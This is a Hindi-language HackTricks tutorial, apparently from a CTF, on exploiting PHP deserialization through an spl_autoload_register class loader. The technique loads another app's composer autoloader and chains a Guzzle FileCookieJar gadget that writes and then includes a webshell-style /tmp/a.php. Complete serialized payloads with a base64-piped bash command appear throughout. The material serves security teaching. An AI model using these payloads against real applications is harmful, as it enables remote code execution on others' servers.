10 KiB
PHP - Deserialization + Autoload Classes
{{#include ../../banners/hacktricks-training.md}}
पहले, आपको यह जांचना चाहिए कि Autoloading Classes क्या हैं।
PHP deserialization + spl_autoload_register + LFI/Gadget
हम एक ऐसी स्थिति में हैं जहाँ हमें एक PHP deserialization एक वेब ऐप में मिली है जिसमें कोई लाइब्रेरी gadgets के लिए कमजोर नहीं है phpggc
के अंदर। हालाँकि, उसी कंटेनर में एक अलग composer वेब ऐप था जिसमें कमजोर लाइब्रेरी थीं। इसलिए, लक्ष्य था दूसरे वेब ऐप के composer लोडर को लोड करना और इसका दुरुपयोग करना एक gadget लोड करने के लिए जो उस लाइब्रेरी का दुरुपयोग करेगा जो deserialization के लिए कमजोर है।
चरण:
- आपने एक deserialization पाया है और वर्तमान ऐप कोड में कोई gadget नहीं है
- आप एक
spl_autoload_register
फ़ंक्शन का दुरुपयोग कर सकते हैं जैसे कि निम्नलिखित किसी भी स्थानीय फ़ाइल को लोड करने के लिए जिसमें.php
एक्सटेंशन है - इसके लिए आप एक deserialization का उपयोग करते हैं जहाँ कक्षा का नाम
$name
के अंदर होगा। आप serialized object में कक्षा के नाम में "/" या "." का उपयोग नहीं कर सकते, लेकिन कोड underscores ("_") को slashes ("/") के लिए बदल रहा है। इसलिए एक कक्षा का नाम जैसेtmp_passwd
/tmp/passwd.php
में परिवर्तित हो जाएगा और कोड इसे लोड करने की कोशिश करेगा।
एक gadget उदाहरण होगा:O:10:"tmp_passwd":0:{}
spl_autoload_register(function ($name) {
if (preg_match('/Controller$/', $name)) {
$name = "controllers/${name}";
} elseif (preg_match('/Model$/', $name)) {
$name = "models/${name}";
} elseif (preg_match('/_/', $name)) {
$name = preg_replace('/_/', '/', $name);
}
$filename = "/${name}.php";
if (file_exists($filename)) {
require $filename;
}
elseif (file_exists(__DIR__ . $filename)) {
require __DIR__ . $filename;
}
});
Tip
यदि आपके पास एक फाइल अपलोड है और आप
.php
एक्सटेंशन वाली फाइल अपलोड कर सकते हैं, तो आप इस कार्यक्षमता का सीधे दुरुपयोग कर सकते हैं और पहले से ही RCE प्राप्त कर सकते हैं।
मेरे मामले में, मेरे पास ऐसा कुछ नहीं था, लेकिन समान कंटेनर के अंदर एक और कंपोजर वेब पेज था जिसमें एक लाइब्रेरी थी जो phpggc
गैजेट के लिए संवेदनशील थी।
- इस अन्य लाइब्रेरी को लोड करने के लिए, सबसे पहले आपको उस अन्य वेब ऐप का कंपोजर लोडर लोड करना होगा (क्योंकि वर्तमान एप्लिकेशन का लोडर दूसरे के लाइब्रेरी तक पहुंच नहीं पाएगा)। एप्लिकेशन का पथ जानकर, आप इसे बहुत आसानी से प्राप्त कर सकते हैं:
O:28:"www_frontend_vendor_autoload":0:{}
(मेरे मामले में, कंपोजर लोडर/www/frontend/vendor/autoload.php
में था) - अब, आप अन्य ऐप के कंपोजर लोडर को लोड कर सकते हैं, तो अब
phpgcc
पेलोड बनाने का समय है। मेरे मामले में, मैंनेGuzzle/FW1
का उपयोग किया, जिसने मुझे फाइल सिस्टम के अंदर कोई भी फाइल लिखने की अनुमति दी। - नोट: जनरेट किया गया गैजेट काम नहीं कर रहा था, इसके काम करने के लिए मैंने
chain.php
पेलोड को phpggc में संशोधित किया और क्लास के सभी गुणों को प्राइवेट से पब्लिक में सेट किया। यदि नहीं, तो स्ट्रिंग को डीसिरियलाइज़ करने के बाद, बनाए गए ऑब्जेक्ट्स के गुणों में कोई मान नहीं था। - अब हमारे पास अन्य ऐप के कंपोजर लोडर को लोड करने का तरीका है और एक phpggc पेलोड है जो काम करता है, लेकिन हमें इसे उसी अनुरोध में करना होगा ताकि लोडर को तब लोड किया जा सके जब गैजेट का उपयोग किया जाए। इसके लिए, मैंने दोनों ऑब्जेक्ट्स के साथ एक सीरियलाइज्ड एरे भेजा जैसे:
- आप देख सकते हैं पहले लोडर लोड हो रहा है और फिर पेलोड
a:2:{s:5:"Extra";O:28:"www_frontend_vendor_autoload":0:{}s:6:"Extra2";O:31:"GuzzleHttp\Cookie\FileCookieJar":4:{s:7:"cookies";a:1:{i:0;O:27:"GuzzleHttp\Cookie\SetCookie":1:{s:4:"data";a:3:{s:7:"Expires";i:1;s:7:"Discard";b:0;s:5:"Value";s:56:"<?php system('echo L3JlYWRmbGFn | base64 -d | bash'); ?>";}}}s:10:"strictMode";N;s:8:"filename";s:10:"/tmp/a.php";s:19:"storeSessionCookies";b:1;}}
- अब, हम एक फ़ाइल बना और लिख सकते हैं, हालाँकि, उपयोगकर्ता वेब सर्वर के अंदर किसी भी फ़ोल्डर में नहीं लिख सका। तो, जैसा कि आप पेलोड में देख सकते हैं, PHP
system
को कुछ base64 के साथ कॉल कर रहा है जो/tmp/a.php
में बनाया गया है। फिर, हम पहले प्रकार के पेलोड का पुन: उपयोग कर सकते हैं जिसे हमने LFI के रूप में अन्य वेब ऐप के कंपोज़र लोडर को लोड करने के लिए जनित/tmp/a.php
फ़ाइल लोड करने के लिए उपयोग किया था। बस इसे डेसिरियलाइजेशन गैजेट में जोड़ें:
a:3:{s:5:"Extra";O:28:"www_frontend_vendor_autoload":0:{}s:6:"Extra2";O:31:"GuzzleHttp\Cookie\FileCookieJar":4:{s:7:"cookies";a:1:{i:0;O:27:"GuzzleHttp\Cookie\SetCookie":1:{s:4:"data";a:3:{s:7:"Expires";i:1;s:7:"Discard";b:0;s:5:"Value";s:56:"<?php system('echo L3JlYWRmbGFn | base64 -d | bash'); ?>";}}}s:10:"strictMode";N;s:8:"filename";s:10:"/tmp/a.php";s:19:"storeSessionCookies";b:1;}s:6:"Extra3";O:5:"tmp_a":0:{}}
पेलोड का सारांश
- एक ही कंटेनर में एक अलग वेब ऐप का कंपोजर ऑटोलोड लोड करें
- एक phpggc गैजेट लोड करें ताकि दूसरे वेब ऐप की एक लाइब्रेरी का दुरुपयोग किया जा सके (जिस वेब ऐप में डेसिरियलाइजेशन के लिए कमजोर था, उसकी लाइब्रेरी में कोई गैजेट नहीं था)
- गैजेट /tmp/a.php में एक PHP पेलोड के साथ एक फ़ाइल बनाएगा जिसमें दुर्भावनापूर्ण कमांड होंगे (वेब ऐप उपयोगकर्ता किसी भी वेब ऐप के किसी भी फ़ोल्डर में लिख नहीं सकता)
- हमारे पेलोड का अंतिम भाग जनित PHP फ़ाइल को लोड करेगा जो कमांड निष्पादित करेगा
मुझे इस डेसिरियलाइजेशन को दो बार कॉल करना पड़ा। मेरे परीक्षण में, पहली बार /tmp/a.php
फ़ाइल बनाई गई लेकिन लोड नहीं हुई, और दूसरी बार इसे सही तरीके से लोड किया गया।
{{#include ../../banners/hacktricks-training.md}}